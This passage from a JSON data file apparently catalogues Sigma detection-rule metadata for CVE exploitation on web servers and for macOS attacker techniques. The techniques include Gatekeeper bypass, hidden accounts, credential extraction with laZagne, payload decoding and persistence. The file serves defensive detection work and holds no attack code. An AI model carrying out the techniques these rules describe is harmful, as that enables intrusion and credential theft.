], "uuid": "fce2c2e2-0fb5-41ab-a14c-5391e1fd70a5", "value": "CVE-2020-0688 Exchange Exploitation via Web Log" }, { "description": "Detects suspicious windows strins in URI which could indicate possible exfiltration or webshell communication", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/06", "falsepositive": [ "Legitimate application and websites that use windows paths in their URL" ], "filename": "web_susp_windows_path_uri.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_susp_windows_path_uri.yml" ], "tags": [ "attack.persistence", "attack.exfiltration", "attack.t1505.003" ] }, "uuid": "9f6a34b4-2688-4eb7-a7f5-e39fef573d0e", "value": "Suspicious Windows Strings In URI" }, { "description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", "meta": { "author": "Arnim Rupp, Florian Roth", "creation_date": "2020/01/02", "falsepositive": [ "Unknown" ], "filename": "web_cve_2019_19781_citrix_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://isc.sans.edu/diary/25686", "https://support.citrix.com/article/CTX267679", "https://github.com/x1sec/CVE-2019-19781/blob/25f7ab97275b2d41800bb3414dac8ca3a78af7e5/CVE-2019-19781-DFIR.md", "https://support.citrix.com/article/CTX267027", "https://twitter.com/mpgn_x64/status/1216787131210829826", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2019_19781_citrix_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "ac5a6409-8c89-44c2-8d64-668c29a2d756", "value": "Citrix Netscaler Attack CVE-2019-19781" }, { "description": "Detects CVE-2020-0688 Exploitation attempts", "meta": { "author": "NVISO", "creation_date": "2020/02/27", "falsepositive": [ "Unknown" ], "filename": "web_cve_2020_0688_exchange_exploit.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://github.com/Ridter/cve-2020-0688", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2020_0688_exchange_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7c64e577-d72e-4c3d-9d75-8de6d1f9146a", "value": "CVE-2020-0688 Exploitation Attempt" }, { "description": "Detects SSTI attempts sent via GET requests in access logs", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/14", "falsepositive": [ "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes" ], "filename": "web_ssti_in_access_logs.yml", "level": "high", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection", "https://github.com/payloadbox/ssti-payloads", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_ssti_in_access_logs.yml" ], "tags": "No established tags" }, "uuid": "ada3bc4f-f0fd-42b9-ba91-e105e8af7342", "value": "Server Side Template Injection Strings" }, { "description": "When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories", "meta": { "author": "frack113", "creation_date": "2021/08/10", "falsepositive": [ "Unlikely" ], "filename": "web_cve_2021_26858_iis_rce.yml", "level": "critical", "logsource.category": "No established category", "logsource.product": "windows", "refs": [ "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_26858_iis_rce.yml" ], "tags": "No established tags" }, "uuid": "effee1f6-a932-4297-a81f-acb44064fa3a", "value": "ProxyLogon Reset Virtual Directories Based On IIS Log" }, { "description": "Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).", "meta": { "author": "Sittikorn S, Nuttakorn Tungpoonsup", "creation_date": "2021/09/10", "falsepositive": [ "Unknown" ], "filename": "web_cve_2021_40539_manageengine_adselfservice_exploit.yml", "level": "critical", "logsource.category": "webserver", "logsource.product": "No established product", "refs": [ "https://us-cert.cisa.gov/ncas/alerts/aa21-259a", "https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html", "https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/", "https://github.com/SigmaHQ/sigma/tree/master/rules/web/web_cve_2021_40539_manageengine_adselfservice_exploit.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.persistence", "attack.t1505.003" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fcbb4a77-f368-4945-b046-4499a1da69d1", "value": "CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit" }, { "description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/14", "falsepositive": [ "Legitimate administration activities" ], "filename": "file_event_macos_startup_items.yml", "level": "low", "logsource.category": "file_event", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.005/T1037.005.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_startup_items.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1037.005" ] }, "related": [ { "dest-uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dfe8b941-4e54-4242-b674-6b613d521962", "value": "Startup Items" }, { "description": "Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/23", "falsepositive": [ "Legitimate administration activities" ], "filename": "file_event_macos_emond_launch_daemon.yml", "level": "medium", "logsource.category": "file_event", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.014/T1546.014.md", "https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/file_event/file_event_macos_emond_launch_daemon.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.014" ] }, "related": [ { "dest-uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "23c43900-e732-45a4-8354-63e4a6c187ce", "value": "MacOS Emond Launch Daemon" }, { "description": "Detects usage of system utilities (only grep for now) to discover security software discovery", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_security_software_discovery.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_security_software_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1518.001" ] }, "uuid": "0ed75b9c-c73b-424d-9e7d-496cd565fbe0", "value": "Security Software Discovery - MacOs" }, { "description": "Detects attempts to use screencapture to collect macOS screenshots", "meta": { "author": "remotephone, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Legitimate user activity taking screenshots" ], "filename": "proc_creation_macos_screencapture.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1113/T1113.md", "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/screenshot.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml" ], "tags": [ "attack.collection", "attack.t1113" ] }, "uuid": "0877ed01-da46-4c49-8476-d49cdd80dfa7", "value": "Screen Capture - macOS" }, { "description": "Detects usage of system utilities to discover files and directories", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_file_and_directory_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_file_and_directory_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "089dbdf6-b960-4bcc-90e3-ffc3480c20f6", "value": "File and Directory Discovery - MacOS" }, { "description": "Detects execution of AppleScript of the macOS scripting language AppleScript.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/21", "falsepositive": [ "Application installers might contain scripts as part of the installation process." ], "filename": "proc_creation_macos_applescript.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_applescript.yml" ], "tags": [ "attack.execution", "attack.t1059.002" ] }, "related": [ { "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1bc2e6c5-0885-472b-bed6-be5ea8eace55", "value": "MacOS Scripting Interpreter AppleScript" }, { "description": "Detects macOS Gatekeeper bypass via xattr utility", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_xattr_gatekeeper_bypass.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.001/T1553.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xattr_gatekeeper_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1553.001" ] }, "related": [ { "dest-uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f5141b6d-9f42-41c6-a7bf-2a780678b29b", "value": "Gatekeeper Bypass via Xattr" }, { "description": "Detects enumeration of local or remote network services.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/21", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_network_service_scanning.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_network_service_scanning.yml" ], "tags": [ "attack.discovery", "attack.t1046" ] }, "uuid": "84bae5d4-b518-4ae0-b331-6d4afd34d00f", "value": "MacOS Network Service Scanning" }, { "description": "Detects when the macOS Script Editor utility spawns an unusual child process.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/21", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_susp_execution_macos_script_editor.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-7f541fbc4a4a28a92970e8bf53effea5bd934604429112c920affb457f5b2685", "https://wojciechregula.blog/post/macos-red-teaming-initial-access-via-applescript-url/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_execution_macos_script_editor.yml" ], "tags": [ "attack.t1566", "attack.t1566.002", "attack.initial_access", "attack.t1059", "attack.t1059.002", "attack.t1204", "attack.t1204.001", "attack.execution", "attack.persistence", "attack.t1553", "attack.defense_evasion" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6e4dcdd1-e48b-42f7-b2d8-3b413fc58cb4", "value": "Suspicious Execution via macOS Script Editor" }, { "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate script work" ], "filename": "proc_creation_macos_binary_padding.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_binary_padding.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.001" ] }, "uuid": "95361ce5-c891-4b0a-87ca-e24607884a96", "value": "Binary Padding - MacOS" }, { "description": "Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_create_account.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_account.yml" ], "tags": [ "attack.t1136.001", "attack.persistence" ] }, "related": [ { "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "51719bf5-e4fd-4e44-8ba8-b830e7ac0731", "value": "Creation Of A Local User Account" }, { "description": "Detects usage of \"find\" binary in a suspicious manner to perform discovery", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/28", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_susp_find_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/SaiSathvik1/Linux-Privilege-Escalation-Notes", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_find_execution.yml" ], "tags": [ "attack.discovery", "attack.t1083" ] }, "uuid": "85de3a19-b675-4a51-bfc6-b11a5186c971", "value": "Potential Discovery Activity Using Find - MacOS" }, { "description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/10", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_create_hidden_account.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.002/T1564.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_create_hidden_account.yml" ], "tags": [ "attack.defense_evasion", "attack.t1564.002" ] }, "related": [ { "dest-uuid": "8c4aef43-48d5-49aa-b2af-c0cd58d30c3d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b22a5b36-2431-493a-8be1-0bae56c28ef3", "value": "Hidden User Creation" }, { "description": "Detects commandline operations on shell history files", "meta": { "author": "Mikhail Larin, oscd.community", "creation_date": "2020/10/17", "falsepositive": [ "Legitimate administrative activity", "Legitimate software, cleaning hist file" ], "filename": "proc_creation_macos_susp_histfile_operations.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_histfile_operations.yml" ], "tags": [ "attack.credential_access", "attack.t1552.003" ] }, "related": [ { "dest-uuid": "8187bd2a-866f-4457-9009-86b0ddedffa3", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "508a9374-ad52-4789-b568-fc358def2c65", "value": "Suspicious History File Operations" }, { "description": "Detects usage of system utilities to discover system network connections", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_system_network_connections_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_connections_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1049" ] }, "related": [ { "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9a7a0393-2144-4626-9bf1-7c2f5a7321db", "value": "System Network Connections Discovery - MacOs" }, { "description": "Detects enumeration of local network configuration", "meta": { "author": "remotephone, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_system_network_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_system_network_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1016" ] }, "uuid": "58800443-f9fc-4d55-ae0c-98a3966dfb97", "value": "System Network Discovery - macOS" }, { "description": "Identifies the execution traces of the XCSSET malware. XCSSET is a macOS trojan that primarily spreads via Xcode projects and maliciously modifies applications. Infected users are also vulnerable to having their credentials, accounts, and other vital data stolen.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_xcsset_malware_infection.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-f5deb07688e1a8dec9530bc3071967b2da5c16b482e671812b864c37beb28f08", "https://malpedia.caad.fkie.fraunhofer.de/details/osx.xcsset", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_xcsset_malware_infection.yml" ], "tags": [ "attack.command_and_control" ] }, "uuid": "47d65ac0-c06f-4ba2-a2e3-d263139d0f51", "value": "Potential XCSSET Malware Infection" }, { "description": "Detecting attempts to extract passwords with grep and laZagne", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_find_cred_in_files.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_find_cred_in_files.yml" ], "tags": [ "attack.credential_access", "attack.t1552.001" ] }, "uuid": "53b1b378-9b06-4992-b972-dde6e423d2b4", "value": "Credentials In Files" }, { "description": "Detects when a user manipulates with Firmward Password on MacOS. NOTE - this command has been disabled on silicon-based apple computers.", "meta": { "author": "Austin Songer @austinsonger", "creation_date": "2021/09/30", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_susp_macos_firmware_activity.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/usnistgov/macos_security/blob/932a51f3e819dd3e02ebfcf3ef433cfffafbe28b/rules/os/os_firmware_password_require.yaml", "https://support.apple.com/guide/security/firmware-password-protection-sec28382c9ca/web", "https://www.manpagez.com/man/8/firmwarepasswd/", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_susp_macos_firmware_activity.yml" ], "tags": [ "attack.impact" ] }, "uuid": "7ed2c9f7-c59d-4c82-a7e2-f859aa676099", "value": "Suspicious MacOS Firmware Activity" }, { "description": "Detect file time attribute change to hide new or changes to existing files", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_change_file_time_attr.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_change_file_time_attr.yml" ], "tags": [ "attack.defense_evasion", "attack.t1070.006" ] }, "related": [ { "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88c0f9d8-30a8-4120-bb6b-ebb54abcf2a0", "value": "File Time Attribute Change" }, { "description": "Detects when a built-in utility is used to decode and decrypt a payload after a macOS disk image (DMG) is executed. Malware authors may attempt to evade detection and trick users into executing malicious code by encoding and encrypting their payload and placing it in a disk image file. This behavior is consistent with adware or malware families such as Bundlore and Shlayer.", "meta": { "author": "Tim Rauch (rule), Elastic (idea)", "creation_date": "2022/10/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_macos_payload_decoded_and_decrypted.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d42c3d772e04f1e8d0eb60f5233bc79def1ea73105a2d8822f44164f77ef823", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_payload_decoded_and_decrypted.yml" ], "tags": [ "attack.t1059", "attack.t1204", "attack.execution", "attack.t1140", "attack.defense_evasion", "attack.s0482", "attack.s0402" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "234dc5df-40b5-49d1-bf53-0d44ce778eca", "value": "Payload Decoded and Decrypted via Built-in Utilities" }, { "description": "Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.", "meta": { "author": "remotephone", "creation_date": "2021/11/20", "falsepositive": [ "Mistyped commands or legitimate binaries named to match the pattern" ], "filename": "proc_creation_macos_space_after_filename.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036.006/T1036.006.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_space_after_filename.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.006" ] }, "uuid": "b6e2a2e3-2d30-43b1-a4ea-071e36595690", "value": "Space After Filename - macOS" }, { "description": "Detects enumeration of local system groups", "meta": { "author": "Ömer Günal, Alejandro Ortuno, oscd.community", "creation_date": "2020/10/11", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_local_groups.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_local_groups.yml" ], "tags": [ "attack.discovery", "attack.t1069.001" ] }, "related": [ { "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "89bb1f97-c7b9-40e8-b52b-7d6afbd67276", "value": "Local Groups Discovery - MacOs" }, { "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_schedule_task_job_cron.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_schedule_task_job_cron.yml" ], "tags": [ "attack.execution", "attack.persistence", "attack.privilege_escalation", "attack.t1053.003" ] }, "related": [ { "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7c3b43d8-d794-47d2-800a-d277715aa460", "value": "Scheduled Cron Task/Job - MacOs" }, { "description": "Detects usage of base64 utility to decode arbitrary base64-encoded text", "meta": { "author": "Daniil Yugoslavskiy, oscd.community", "creation_date": "2020/10/19", "falsepositive": [ "Legitimate activities" ], "filename": "proc_creation_macos_base64_decode.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_base64_decode.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027" ] }, "uuid": "719c22d7-c11a-4f2c-93a6-2cfdd5412f68", "value": "Decode Base64 Encoded Text -MacOs" }, { "description": "Detects the enumeration of other remote systems.", "meta": { "author": "Alejandro Ortuno, oscd.community", "creation_date": "2020/10/22", "falsepositive": [ "Legitimate administration activities" ], "filename": "proc_creation_macos_remote_system_discovery.yml", "level": "informational", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_remote_system_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1018" ] }, "uuid": "10227522-8429-47e6-a301-f2b2d014e7ad", "value": "Macos Remote System Discovery" }, { "description": "Detection use of the command \"split\" to split files into parts and possible transfer.", "meta": { "author": "Igor Fits, Mikhail Larin, oscd.community", "creation_date": "2020/10/15", "falsepositive": [ "Legitimate administrative activity" ], "filename": "proc_creation_macos_split_file_into_pieces.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1030/T1030.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/macos/process_creation/proc_creation_macos_split_file_into_pieces.yml" ], "tags": [ "attack.exfiltration", "attack.t1030" ] }, "related": [ { "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7f2bb9d5-6395-4de5-969c-70c11fbe6b12", "value": "Split A File Into Pieces" }, { "description": "Detects attempts to use system dialog prompts to capture user credentials", "meta": { "author": "remotephone, oscd.community", "creation_date": "2020/10/13", "falsepositive": [ "Legitimate administration tools and activities" ], "filename": "proc_creation_macos_gui_input_capture.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "macos", 